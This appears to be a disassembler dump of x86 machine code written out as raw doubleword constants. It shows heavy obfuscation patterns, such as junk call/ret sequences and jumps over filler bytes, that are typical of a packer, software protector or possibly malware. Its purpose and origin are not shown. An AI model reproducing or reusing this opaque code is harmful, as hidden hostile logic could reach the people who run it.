dd 0D38007C0h, 12E88Bh, 8AEC0000h, 0C500B961h, 8426E09Eh
dd 0D0F20DCDh, 16EC3974h, 1F098D29h, 835B0603h, 9D8B00C0h
dd 6033041h, 830FD03Bh, 0Ah, 54E9h, 1CEEBF00h, 8D8B2981h
dd 60325CDh, 0E183B1B3h, 3E840F01h, 0E9000000h, 9, 0BF443131h
dd 30FB370Ch, 0CDA583D9h, 0FE060325h, 58C0Fh, 81660000h
dd 0E9BC74C7h, 8, 55A28302h, 99583B8Dh, 1C1D9589h, 8D090603h
dd 60317ADh, 0E9h, 48B58D00h, 6A0606F0h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 42B8C356h
dd 0BCBF8B51h, 13EA4AAh, 3177185h, 81006A06h, 0A801DFF7h
dd 0B995FF6Eh, 2B06031Fh, 326619Dh, 49952906h, 0B9060304h
dd 7D1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 3FC35242h, 0B086FAFCh, 0ACB9852Ch, 7E8h, 69FAA100h
dd 356A3494h, 0CE9h, 5C350600h, 8970DA4Ah, 0FF3BDA17h
dd 0E1835FD5h, 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0F50D4ECBh, 0A545ABCBh
dd 0AE875h, 0F74E0000h, 471274B3h, 1AC5F48Bh, 10E8h, 4FC81E00h
dd 97AD6AFCh, 2DB35EAFh, 0E1931E14h, 8B0F32h, 5F000000h
dd 11E9FC5Bh, 6A000000h, 89988A8Dh, 9058CC8Fh, 0C2C694F3h
dd 0CE6B4D2Dh, 2D159D8Bh, 0B80603h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 7994C355h, 83899E5h, 52BF7EEFh, 11E9h, 1AA2000h, 6146023Ch
dd 2DDBF59Dh, 0C6E4244Ch, 2B5BB112h, 55006AD2h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 48C9461h, 3547AC11h
dd 9D8BE1E3h, 6032651h, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6AC35545h
dd 20D698B1h, 0BF665634h, 0FBBFCF43h, 0D0BA947h, 88h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 55C35343h, 0E88C11E4h
dd 11h, 330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h, 0BF6650E1h
dd 5F5B67BDh, 0D1958BF8h, 60060331h, 4E8CE881h, 0B58B3B90h
dd 6030B25h, 0E18D8B61h, 9060301h, 32101BDh, 10E806h, 2DE00000h
dd 0B75D83F3h, 0F81B4893h, 62702DF7h, 0BF66E80Ch, 505F1A70h
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 0C261A569h, 4E5BD8Bh, 6A0603h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 6CCAC8C3h, 780AF2EFh
dd 65BD837Ah, 6031Dh, 70840Fh, 0BF660000h, 0B86416h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 0B328C352h, 0D9BA99B7h, 0A9B529F8h, 8D06031Ah
dd 34D1C8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 0B2D70B17h, 53089CFAh, 605BFE8Bh
dd 0AC4542BEh, 97BF660Bh, 0E1FF61FBh, 0CA9B589h, 0BD830603h
dd 60321BDh, 0C840F00h, 9000004h, 322E98Dh, 0BDBD8306h
dd 1060321h, 414840Fh, 14E90000h, 48000000h, 88ED4D27h
dd 61E9CFDDh, 0AB2903DEh, 98489A33h, 83B964B7h, 321BDBDh
dd 860F0306h, 3B8h, 0CE9h, 0DCCEEB00h, 0DD1C1EA7h, 0DD0846FBh
dd 6A604Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0EED8B1C3h, 0EAE3A87Eh, 8C66CA39h, 4E180D9h
dd 99BD8B60h, 0E9060305h, 13h, 0B87382D5h, 6827BD04h, 0FAC6FCCBh
dd 0B01AF848h, 61D4A2D0h, 840FC90Ah, 10Fh, 8BFFBF0Fh, 313C185h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0AF8EE42Ch, 2BDFE50Fh, 890FE88Bh, 14h, 8E8h
dd 33A4B800h, 0BD73A3Dh, 860F17h, 5F000000h, 1C798533h
dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 8A2A28C3h, 0D02926DFh, 0D0BF5605h, 5F4401D2h
dd 8929B750h, 6A2404h, 5820Fh, 81660000h, 0F9E4C5CFh, 0DCDA0668h
dd 0B352509Dh, 0E8310F82h, 0Ch, 0F9D8F285h, 2DD9C992h
dd 839FFCD2h, 310F5250h, 5A5B585Ah, 24048158h, 624229F9h
dd 13800Fh, 7E80000h, 0A8000000h, 1894DDF7h, 0B5896D31h
dd 6031E61h, 595FF5Fh, 0B7060314h, 3485892Fh, 660606A7h
dd 0F3E9DE8Bh, 6A000001h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0A0AC350h, 0A4D1C360h
dd 0D19D89FAh, 8B06031Fh, 6A72C85h, 0B1BD8B06h, 0C706030Fh
dd 1800h, 11BD2900h, 8B06031Dh, 301C5BDh, 30B58B06h, 6A0606A7h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 0E9E5C357h, 0B0D2991Fh, 2A719D03h, 858B0603h
dd 603128Dh, 13999501h, 6890603h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 89C35646h, 9228A9EFh, 0EC3681C2h
dd 13C1858Bh, 0CDBB0603h, 8905A7CDh, 6A0446h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0FC7718C3h
dd 0F1F9C9F2h, 50508856h, 2434895Fh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 19C35646h, 0B8B0Fh, 6E90000h
dd 0B5000000h, 39D1DE7Fh, 2CB5FF67h, 6A0606A7h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 0D495C351h, 4E9BD0Bh, 71680603h, 815DAE1Eh, 1D8E2434h
dd 6A5DB1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0C0D843C3h, 815B0824h, 860FAF8Dh, 3, 8DF98B66h
dd 6A73485h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0B8CBC42Bh, 0FE144D2Ch, 1B29BF44h
dd 0B70F016Ch, 8A0F50FFh, 0
dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 0A5DEC351h, 71F3710h, 3350F0A9h
dd 10E9h, 0D0793900h, 47346F75h, 72238D4Dh, 0B2883C67h
dd 595FFF5h, 89060314h, 30ACD95h, 7C6CBF06h, 6A6173D7h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 1BFEC355h, 8D890106h, 6031C19h, 21BD85C7h
dd 30603h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 0FE8C2C3h, 4C000000h, 0CD1320CBh
dd 5848DA32h, 0C4D8B71Ch, 5BF5B026h, 0A734BD83h, 0F000606h
dd 0B84h, 21E900h, 0B5010000h, 6032AE9h, 110C3050h, 1114400h
dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 952BC355h, 4CE56A84h, 0B501AB1Ch, 6031F21h, 21BDBD83h
dd 0F030603h, 47985h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0B2B7A607h, 6984021Ah
dd 5E98Eh, 0AB950000h, 0FC6C35Fh, 0BD83DFB7h, 606A734h
dd 3B840F00h, 0BB000004h, 5E0F0587h, 0A734B5FFh, 6A0606h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0F574BCC3h, 0E78B982Ch, 8589BDACh, 6031291h, 95FFDE8Bh
dd 6032E05h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 20C35545h, 1799BD8Bh, 0AE90603h, 0E1000000h, 22C9ADBCh
dd 0CA225F04h, 28B58BFEh, 600606A7h, 8BCFB70Fh, 328CDB5h
dd 6C76106h, 10001h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 6FC35242h, 0E8590DEAh, 14h, 1D4EDB00h
dd 0EE3279BBh, 21C810D0h, 95CFB9A6h, 0A53405B0h, 0DD8F71BBh
dd 66515B0Eh, 505BF88Bh, 8E78BB66h, 80243489h, 0B5FFECDFh
dd 606A734h, 2C85BD31h, 95FF0603h, 6032F19h, 1E499D89h
dd 0B58B0603h, 606A728h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 9AC35343h, 3B3B4FAh, 39D380ACh, 311D858Bh
dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 0B685E3C3h, 9BD891Fh, 89060326h, 0C486h
dd 13E800h, 9030000h, 0D2A678E6h, 378EDC67h, 3B6628BDh
dd 0F6BA74FBh, 7D8D890Dh, 5B060320h, 31D1958Bh, 6A0603h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0E8DC56C3h, 12h, 0AA234591h, 0A434282h, 194F0BAFh, 326960F0h
dd 810FDAFEh, 6, 2041B501h, 835B0603h, 6A04C2h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0C09EA5C3h, 58F021AAh, 89B1EB80h, 9D032050h, 60317ADh
dd 0BBF3858Dh, 9D8B0606h, 6030945h, 0B88689h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 90BA66C3h, 7D9D8BE5h, 6A060302h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0B9FB2EA5h
dd 7036FD0Ah, 7E955h, 12830000h, 0D7E63EACh, 0EE927h, 83830000h
dd 556A42Dh, 61B3D25Ah, 0A3752C80h, 0A734B5FFh, 9D8B0606h
dd 6032949h, 0FFDE8B66h, 31CB195h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 5144FBEBh
dd 0FAEF8166h, 60965B52h, 880FC28Bh, 12h, 0DE9h, 8847C900h
dd 35627B57h, 8F2A6710h, 5061B367h, 168A0Fh, 11E90000h
dd 7D000000h, 4CF82A46h, 0E82B4E01h, 0AC69E27Eh, 0BEC1CFFh
dd 0FA8B6696h, 0A734B5FFh, 95890606h, 6032851h, 116595FFh
dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 858903C3h, 6032BF5h, 83DBBF0Fh, 31795BDh
dd 840F0006h, 44h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0CEC35646h, 56A81B18h, 502DE421h, 12E9h
dd 0FA3D7300h, 0BF29CF1Dh, 5FBA6FDBh, 6F1B2D58h, 894A787Ah
dd 0BD892434h, 6031F75h, 0A734B5FFh, 0FFF90606h, 3066195h
dd 0EE906h, 52550000h, 6FF7AA06h, 8C9E3926h, 9575616h
dd 34B5FFF8h, 660606A7h, 66CDA7BFh, 95FFD98Bh, 6030AE1h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 74C35646h
dd 92E5B83Ah, 8E9601Dh, 41000000h, 4163238Ch, 503640DCh
dd 8B0Fh, 615F0000h, 218DBD83h, 0F020603h, 5584h, 0FD858B00h
dd 6A060301h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 94C8C350h, 0D88D2005h, 6A0000C6h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 6FFEC351h, 0C541CA27h, 3C8501C5h, 2359B589h
dd 85C70603h, 60330B9h, 0
dd 27AFDF81h, 0BF663430h, 8AE91701h, 8BFFFFF2h, 31461BDh
dd 68C0F06h, 33000000h, 325599Dh, 6AC18B06h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 0C137C350h, 11858DF9h, 6A060328h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 90A4C352h
dd 10E85250h, 74000000h, 3AC2F56Ah, 327AE946h, 3C4C85D1h
dd 0FD9F4BFh, 85h, 310F5F00h, 9050585Ah, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D6C35242h, 9E551DD8h
dd 9D31E230h, 6033195h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 0DA0BDCC3h, 35DB9D57h
dd 2EF19D29h, 6A0603h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 0FEC35747h, 596A70A5h, 0AF24355Eh, 698D89C5h
dd 1060331h, 310618Dh, 0F0858D06h, 66060788h, 0E329CF81h
dd 6005C083h, 8B4AF480h, 31E8D9Dh, 0E9906106h, 5, 0C29D5CB6h
dd 616050D2h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0A342A2FEh, 81A28AAFh, 0E4511DCBh
dd 6A006A23h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 0A840C351h, 3DB589C5h, 81060326h
dd 0B01CDDF7h, 6A006A63h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 64EC357h, 0C995FF9Eh
dd 8B06030Ch, 718531D9h, 8D06031Eh, 697478Dh, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0FFA0F775h, 50006AD1h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 9E899h, 0F98A0000h, 52DD3D7Ch
dd 0FA0F85Eh, 1985h, 13E800h, 5460000h, 0BB3F27CAh, 9F2AD753h
dd 4B155321h, 0E05A83BAh, 835B5FC2h, 31E91BDh, 850F0106h
dd 0A8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0E1C35343h, 60026A60h, 9E8h, 3A683000h, 4A5E5454h
dd 7E94D14h, 6F000000h, 54CF723Bh, 6658576Bh, 61FE1FB9h
dd 13E85090h, 4F000000h, 9815CE42h, 6A242AFAh, 67D72605h
dd 0B2C23DCBh, 905FD137h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 65C35040h, 0B195FF04h, 6A06031Ch, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 96ACC350h, 0A6953D84h, 0BB967AD5h, 5E40E482h, 0E61E9h
dd 0E800h, 815D0000h, 788FAEDh, 0D3816606h, 6A03D0h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0F95BA0C3h, 0A19589C3h, 0FC06032Dh, 8889858Dh, 6A0606h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0A43E7AC3h, 820F9069h, 3, 50FA8B66h, 6A90FE8Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 0AB89C356h, 0BBA24753h, 211BA072h, 11E9h, 0FBCF7F00h
dd 0E6E65F68h, 8ABBF8CFh, 0B4037BE6h, 0FF643ADAh, 35h
dd 1DBD8900h, 64060301h, 2589h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0DBF903C3h
dd 35D0B911h, 1E51B589h, 85FF0603h, 6032A15h, 0FF6AFB8Bh
dd 222DBD8Bh, 0B5FF0603h, 603235Dh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 83C35040h, 9C0B6EEDh, 8BF47F6Bh
dd 1595FFFEh, 0E9060320h, 113h, 0BD8D0160h, 0E9060313h
dd 13h, 0F83851Eh, 8DCB9769h, 5DCE9A61h, 33F7CE14h, 61BFEBA6h
dd 70E600B0h, 26B8C781h, 71E47051h, 2B199D8Bh, 613C0603h
dd 0D9830Fh, 39BF0000h, 0F222C43h, 10BBC8B6h, 0BA2A2C9Ah
dd 6, 3215BD8Bh, 0C18B0603h, 14E9h, 88535E00h, 98D58CF3h
dd 336552BAh, 910B89ACh, 1C1A4C3Bh, 4E8C1F9h, 42B298BFh
dd 0E2F76638h, 6E9h, 7310E100h, 2B3067C6h, 15B589C8h, 8B06032Dh
dd 65BD89D1h, 0E9060313h, 6, 2BC99D23h, 858B0603h, 60321E1h
dd 18E0F60h, 0F9000000h, 6165C280h, 8B07C083h, 319C9BDh
dd 0C08306h, 3BDFBF0Fh, 21830FD0h, 0E8000000h, 8, 0D62682E6h
dd 91082AB6h, 0DBBFF381h, 0E95B7F9Fh, 33h, 850Fh, 5B520000h
dd 12F18D8Bh, 81660603h, 83DB11F3h, 840F01E1h, 17h, 0A583FE8Bh
dd 60312F1h, 8924B3FEh, 321E195h, 0E9FC06h, 8D000000h
dd 6FA3AB5h, 0EE906h, 0EA8E0000h, 0FEAB0E26h, 2DDD8611h
dd 42A7600Eh, 0B70F006Ah, 0B995FFDBh, 6A06031Fh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 7ECEC357h, 8389B488h, 0BE919F3h, 16000000h, 9ECE5DD8h
dd 0BF75A0BBh, 73B985B7h, 89000007h, 31A4995h, 0FCE18306h
dd 10E9h, 76CC2D00h, 8C05F869h, 33970127h, 8EC57046h, 421ABFBEh
dd 2BFC5561h, 3058DBDh, 6AC02B06h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BD0C356h
dd 32CB99Dh, 0BA06h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 13B3C4C3h, 8BBE4316h
dd 325259Dh, 1D9D3306h, 0AD060303h, 0E8D1C233h, 0E983D003h
dd 6AF47504h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 0FA4AC351h, 88FFB8C4h, 68E0FFFh
dd 89000000h, 3299D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 0FF87481h, 380h, 0F88B6600h
dd 880Dh, 68A0F00h, 89000000h, 309F58Dh, 0D1958B06h, 0F060331h
dd 689h, 0D59D8B00h, 8B06032Bh, 301E18Dh, 12E806h, 68E0000h
dd 0CBE61ADEh, 0DEDFF242h, 0D2B47B31h, 1A2B305Dh, 3318D29h
dd 505F0603h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 15BD2B58h, 8306031Bh, 31D65BDh, 840F0006h, 7Dh, 0B838B3h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 7D75C355h, 6CD1BBF5h, 926FA9Ch
dd 31EADBDh, 0E9605206h, 12h, 0B51C7619h, 1DF288FCh, 2C3F0237h
dd 91C555AAh, 5B610CADh, 4D1C8D8Dh, 6A0603h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0BCF7B1C3h
dd 5DB3606Bh, 0A95958Bh, 0FF610603h, 0BDBD83E1h, 60321h
dd 50F840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 57EFB7C3h, 618589D8h, 83060326h
dd 321BDBDh, 840F0106h, 4F8h, 2B9BD8Bh, 0BD830603h, 60321BDh
dd 0AF860F03h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0B3A7C356h, 0D0225D24h
dd 22B19D31h, 0BD030603h, 6032C89h, 50006A60h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0E55E098Bh
dd 8998B338h, 328BDB5h, 0D98C6606h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h
dd 1Dh, 0AFC35040h, 0FDE9A3E4h, 33A4B813h, 0C780563Dh
dd 0E1805F6Eh, 0D1BD8B04h, 8B060323h, 323899Dh, 0FC90A06h
dd 18384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0C1858BB3h, 6A060313h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 0F39C355h, 152F0BCFh, 0C19834Fh, 0E8D98B66h, 13h, 86EC89E7h
dd 10B81F42h, 7CC1F0A0h, 0F5561425h, 66051CE6h, 0FBFDC781h
dd 7985335Fh, 6A06031Ch, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 1108C353h, 3B5CD4E8h
dd 28A0F69h, 8B000000h, 12E950F8h, 0B5000000h, 0E60B48A3h
dd 1F55A4DAh, 643A9855h, 0F30FADD2h, 24048965h, 5BDA8B52h
dd 8D0F006Ah, 6, 22719501h, 4E80603h, 0FF000000h, 50001F03h
dd 0F5B5652h, 3870F31h, 66000000h, 585AF98Bh, 0E9566050h
dd 11h, 896A0058h, 0AC3E32A9h, 0A425CCEAh, 82F747CEh, 52505A4Dh
dd 4F20B866h, 0CE9310Fh, 0AF000000h, 94617F7Eh, 0AC11048Ch
dd 5AE33547h, 448B6158h, 8B0424h, 9E8h, 46F8D400h, 6C45C03Fh
dd 8B6692B0h, 44895FDAh, 860F0424h, 4, 8519BB66h, 0CF816658h
dd 95FF689Fh, 6031405h, 1AE59D8Bh, 0BD010603h, 6031B79h
dd 0A7348589h, 8B660606h, 207E9FBh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 31367CC3h
dd 0BD6D8343h, 0A72C858Bh, 6A0606h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 72F59AC3h
dd 1800C7h, 0BD8B0000h, 603132Dh, 28F9B589h, 0B58B0603h
dd 606A730h, 1FA59D8Bh, 858B0603h, 603128Dh, 689F88Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 48C35242h
dd 0FDAE60Bh, 858BFBBFh, 60313C1h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0D0C35040h, 0EBBDE01Bh, 89FB1E6Ch
dd 33271B5h, 8980B706h, 6A0446h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 0B208E5C3h, 0EE8h, 0FA022800h
dd 31EA0B4Ch, 9DBFDB2Fh, 0F09F3F3h, 8B5BF9B7h, 301F9BDh
dd 52509606h, 61BB6650h, 310F5F8Fh, 7E8h, 10D0EE00h, 0B9A621C8h
dd 8D0Fh, 5A5F0000h, 0BE95058h, 0D4000000h, 8DF82122h
dd 0FF240520h, 6A96FD44h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 2140C350h, 0CF807F2Eh
dd 148B0FBCh, 60000000h, 0AE9h, 4BB1CF00h, 25EDD846h, 8020703Bh
dd 0FF61BBDDh, 6A72CB5h, 6E906h, 7B070000h, 332C16B2h
dd 67E74C68h, 12E8ECh, 0F5160000h, 0D97C35A6h, 6C47ADDAh
dd 0D33BBEBAh, 2460D564h, 815F49B7h, 1CB32404h, 0C7BB13B7h
dd 8D6C6707h, 6A73485h, 0FE906h, 3A960000h, 0EAEDE7F2h
dd 3BB5D503h, 0C3B4CA60h, 0CCBF90C5h, 5077F846h, 6A90FB8Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 59DEC353h, 0BF0F50AAh, 595FFFBh, 0F060314h
dd 0C81h, 68D0F00h, 81000000h, 0F56F4EBh, 6A6177h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0BFE04DC3h, 17719D8Bh, 6E80603h, 0E6000000h, 2D5BA420h
dd 0F8BF0FCCh, 0BD85C75Fh, 3060321h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0E92BC351h, 60C89915h, 0F00BA291h, 0BF66F98Bh, 0BD834165h
dd 606A734h, 37840F00h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0D2ACC357h
dd 0E1C38005h, 2519B589h, 26E90603h, 60000000h, 1DFB70Fh
dd 302AD95h, 30506106h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 0DDBD33C0h, 8B060321h, 31A3D9Dh
dd 5E906h, 1DB20000h, 83486B77h, 321BDBDh, 850F0306h, 45Fh
dd 0E856006Ah, 3, 5EC35E20h
db 89h, 74h
word_584F4E dw 424h ; DATA XREF: ___:00436EFCo
dd 4244481h, 19h, 84C35646h, 0F7F9E7CEh, 7E8F4h, 74290000h
dd 0B8FE20C0h, 15BD2969h, 5B06031Bh, 0A734BD83h, 0F000606h
dd 41E84h, 79BD8900h, 0FF060330h, 6A734B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 54B357B0h, 0DF80442Fh, 0DF8B66A0h, 2E0595FFh, 6A0603h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0B50155C3h, 2A6AA34Fh, 0B58B5034h, 606A728h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 34C35242h, 238D4D47h
dd 0E5BD3172h, 0C7060301h, 1000106h, 5E900h, 1DED0000h
dd 50DE7298h, 89F98B66h, 6A2434h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 19C9D2C3h, 0E3B2D69Ah
dd 0BD299DF4h, 603034Dh, 0A734B5FFh, 810F0606h, 15h, 9E8h
dd 77B5A00h, 7B378C75h, 8D89DB02h, 6030FC1h, 1995FF5Fh
dd 6A06032Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 8517C351h, 0BFF98B72h, 735DAE1Eh
dd 0A728B58Bh, 5B500606h, 311D858Bh, 9D010603h, 6031FB5h
dd 0C48689h, 8D890000h, 6030FE5h, 31D1958Bh, 870F0603h
dd 3, 81D98B66h, 990B72DBh, 4C28313h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 46C35040h, 8B90C682h, 32A459Dh
dd 20508906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 26C35747h, 0CDB38FE6h, 0BBF3858Dh, 11E90606h, 90000000h
dd 0BFCC8477h, 0CFD53D44h, 7D52E271h, 5987417Ch, 0B88689h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 998FFCC3h, 0BD8B9B62h, 6030AB5h, 6A006Ah
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 0DA8B10C3h, 0A734B5FFh, 870F0606h, 6, 259BD8Bh, 95FF0603h
dd 6031CB1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 20C35343h, 0E24A9477h, 0DE9507Dh, 2E000000h, 0B9BE4840h
dd 0A558E777h, 5E098BEAh, 6A243489h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D6C8C355h
dd 6AE328D0h, 12F59531h, 0B5FF0603h, 606A734h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6DC35545h, 0E9BD893Dh
dd 8B060324h, 6595FFF9h, 6A060311h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 16E4C350h
dd 23602ADEh, 0B7107AD7h, 95BD83EAh, 60317h, 63840Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 0EA2A08C3h, 77E6DE3Ah, 0F814B0Ah, 482h, 3EBB6600h, 0FD9D31D8h
dd 5006030Fh, 7E8h, 0D26A1B00h, 5C9BA663h, 0FE8h, 51E01F00h
dd 84299219h, 0C3F4D90Eh, 14C45685h, 5B5F5F51h, 33243489h
dd 313EDBDh, 34B5FF06h, 6A0606A7h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 4B84C351h
dd 0B70F60ABh, 8E9D1h, 2CD30000h, 0E366E0DEh, 0F961E388h
